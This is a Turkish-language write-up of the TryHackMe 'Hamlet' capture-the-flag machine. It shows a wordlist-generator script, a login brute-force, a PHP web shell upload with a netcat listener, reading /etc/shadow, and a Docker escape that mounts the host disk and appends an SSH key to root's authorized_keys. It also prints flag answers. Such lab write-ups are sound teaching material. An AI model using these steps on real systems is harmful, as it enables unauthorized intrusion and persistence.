TryHackMe | Hamlet CTF WriteUp by w1sd0m
HAMLET
Selam dostlarım, bu gün sizlere TryHackMe'de yer alan "Hamlet" adlı zafiyetli makinenin çözümünü anlatacağım.
Makine genel hatlarıyla hoşuma gitti diyebilirim. Docker olayının işleri enteresan hale getirmesi güzel olmuş.
Keyifli okumalar dilerim.
Platform:TryHackMe
Title:Hamlet
Difficulty:Medium
Point:210
CreatedBy:Ingo
*
*
*
*
Şimdi makinede birden fazla(6) flag olduğu için bulduğumuz portlara tek tek bakacağız. Dizin taraması da yaptık ve robots.txt dosyasında bir flag aldık.
Sitesine gitmeden önce ftp servisinde misafir girişine izin varmış. Bi ona bakacağım.
2 adet dosya bırakılmış. Bunlara baktığımızda ise bize bir password-policy verilmiş. WebAnno için "12-14 karakter uzunluğunda küçük harflerden oluşan bir parola" kullanıldığını söylüyor.
Muhtemelen sitedeki kullanıcılar bu policy'e göre parola oluşturdu.
Devam edelim.
Sitede bizi karşılayan bir metin var ve bir link bırakılmış. Burada dikkatimi çeken "ghost" nicki oldu. Kullanıcılardan birinin nicki sanırım. Hatta yetkili biri.
Linke bakalım.
80 portuna bakmıştık. Şimdi diğer açık olan 8080 portuna bakalım.
Giriş ekranını da bulduğumuza göre artık bir wordlist oluşturup giriş yapmayı deneme vakti geldi.
Basit bir python scripti ile bu işi halledebileceğimiz gibi Cewl gibi toollar ile de custom passlistler oluşturabiliriz.
Python:
#!/bin/python3
import re
import sys
args = sys.argv
if len(args) < 5:
sys.exit('generate_wordlist.py file min_length max_length onlylowercase')
with open(args[1], 'r') as f:
hamlet = f.read()
tokens = re.findall(r'\w+', hamlet)
types = set(tokens)
min_length = int(args[2])
max_length = int(args[3])
lowercase = args[4].lower() in ('True', 'true', '1')
if lowercase:
words = [w for w in types if len(w) >= min_length and len(w) <= max_length and w.islower()]
else:
words = [w for w in types if len(w) >= min_length and len(w) <= max_length]
for w in words:
print(w)
Ayarlarımı yaptıktan sonra saldırıma başlıyorum. Zaten fazla kelime olmadığı için kısa süreceğini düşünüyorum.
Yaklaşık 10 saniyelik bir süreden sonra kelimemizi bulduk ve gidip girişimizi yaptık.
Ardından Projects->Hamlet->Documents yolunu takip ederek içeri bir "php-shell" attık.
Sıradaki işlemim ise bir Netcat dinlemesi başlatıp shellimin yüklendiği dizine istek atmak olacak.
Sonrası Meydan Muharebesi...
İsteği attık, bağlantıyı yakaladık ve diğer bir flag'i de bulduk.
"/bin/cat" işimizi görür gibi. "/etc/shadow" dosyasını okumayı deneyelim.
Root kullanıcısının parolasını bulduk ve giriş yaptık. Diğer flag karşıladı bizi.
Yalnız burada bir pürüz var.
Yazının başında bahsettiğim docker olayı da tam burada karşımıza çıkıyor. Bir docker container'in içine alınmış veriler. Bizden bu container'dan çıkmamız isteniyor. Muhtemelen 6.flag'da orada.
Ama öncesinde geride kalan ve henüz bulmadığımız 2 flag'dan biri olan
3.flag'ı bulalım. Bunun için tekrar sitede dönüp "ghost" kullanıcısıyla giriş yaptım.
Users->Ophelia->ChancePassword yolunu takip edip parolasını değiştirdim (Eski parola felan sormadı direkt değiştirebildim) ve Ophelia olarak giriş yaptım
Ardından
Annotation->Hamlet.txt dosyasına bir göz attım.
Bize gizlenmiş bir metin verdi. Metinde Ophelia'nın parolasını unutmamak için buraya kaydettiğini gördüm.
Hadi bu parola ile FTP bağlantısı alalım bakalım birşeyler bulabilecek miyiz?
Kod:
$ ftp 10.10.228.62
Connected to 10.10.228.62.
220 (vsFTPd 3.0.3)
Name (10.10.228.62:h3x): ophelia
331 Please specify the password.
Password:
230 Login successful.
ftp> ls
-rw-r--r-- 1 1001 1001 31 Sep 16 06:19 flag
ftp> get flag flag3
local: flag3 remote: flag
100% |************************************************************| 31 308.91 KiB/s 00:00 ETA
226 Transfer complete.
31 bytes received in 00:00 (0.10 KiB/s)
ftp> exit
$ cat flag3
THM{3_i_was_the_more_deceived}
Hemen ardından 2.flag'ı de göstermek istiyorum sizlere.
Hatırlarsanız yazının başında password-policy ile bir dosya bulmuştuk. Orada bize 501 portundan bahsediyordu. Hemen oraya gidiyoruz.
Böylece 6 hariç tüm flagleri bulduk. İşin düz kısımlarını hallettik şimdi pürüzlüye geçebiliriz.
Neden pürüzlü diye bir kelime kullanıyorum?
Çünkü buraya kadar temel bilgiler ile gelebiliyoruz. Burada bizden araştırma yapmamızı istiyor.
"Escape from Docker Container" diye google'da aratarak biraz araştırma yapıyorum.
İşime yarayacak bir yöntem buldum.
Hadi birlikte bakalım...
Kod:
ls -la /dev | grep disk
crw-rw---- 1 root disk 10, 234 Jan 24 13:25 btrfs-control
brw-rw---- 1 root disk 253, 0 Jan 24 13:25 dm-0
crw-rw---- 1 root disk 10, 237 Jan 24 13:25 loop-control
-------------------------------------------------------------------
mkdir /mnt/host
mount /dev/dm-0 /mnt/host
ls -l /mnt/host
total 4015216
drwxr-xr-x 2 root root 4096 Sep 15 11:24 bin
drwxr-xr-x 2 root root 4096 Sep 15 11:14 boot
drwxr-xr-x 2 root root 4096 Sep 15 11:15 cdrom
drwxr-xr-x 4 root root 4096 Aug 6 2020 dev
drwxr-xr-x 99 root root 4096 Sep 16 06:43 etc
drwxr-xr-x 5 root root 4096 Sep 15 14:41 home
lrwxrwxrwx 1 root root 34 Sep 15 11:16 initrd.img -> boot/initrd.img-4.15.0-156-generic
lrwxrwxrwx 1 root root 34 Sep 15 11:16 initrd.img.old -> boot/initrd.img-4.15.0-156-generic
drwxr-xr-x 23 root root 4096 Sep 15 11:39 lib
drwxr-xr-x 2 root root 4096 Aug 6 2020 lib64
drwx------ 2 root root 16384 Sep 15 11:14 lost+found
drwxr-xr-x 2 root root 4096 Aug 6 2020 media
drwxr-xr-x 3 root root 4096 Sep 15 14:43 mnt
drwxr-xr-x 5 root root 4096 Sep 15 14:46 opt
drwxr-xr-x 2 root root 4096 Apr 24 2018 proc
drwx------ 5 root root 4096 Sep 15 14:49 root
drwxr-xr-x 13 root root 4096 Aug 6 2020 run
drwxr-xr-x 2 root root 12288 Sep 15 11:39 sbin
drwxr-xr-x 2 root root 4096 Sep 15 11:31 snap
drwxr-xr-x 4 root root 4096 Sep 15 14:45 srv
-rw------- 1 root root 4111466496 Sep 15 11:16 swap.img
drwxr-xr-x 2 root root 4096 Apr 24 2018 sys
drwxrwxrwt 9 root root 4096 Jan 24 13:28 tmp
drwxr-xr-x 10 root root 4096 Aug 6 2020 usr
drwxr-xr-x 14 root root 4096 Sep 15 14:42 var
lrwxrwxrwx 1 root root 31 Sep 15 11:16 vmlinuz -> boot/vmlinuz-4.15.0-156-generic
lrwxrwxrwx 1 root root 31 Sep 15 11:16 vmlinuz.old -> boot/vmlinuz-4.15.0-156-generic
echo 'ssh-rsa {buraya kendi ssh key'imi girdim}' >> /mnt/host/root/.ssh/authorized_keys
Ardından SSH girişi ile o görünmeyen kullanıcıya geçiyorum.
*
*
*
************************************************************************************************************************************************************************************************************
CTF çözerken en önemli hususlar;*
*
************************************************************************************************************************************************************************************************************
-Sizi eğlendiriyor olması,
-Düşündürüyor olması,
-Araştırmak zorunda bırakıyor olması...
Evet, "Hamlet" "William Shakespeare"in kaleme aldığı ve edebiyat&sanat dünyasına kazandırdığı önemli bir eserdi.
Bizde müptezelin birinin yaptığı zafiyetli makineyle uğraştık.
Umarım faydası olmuştur, umarım CTF çözümlerinde bir işinize yarar.
************************************************************************************************************************************************************************************************************
*
*
*
*
*
*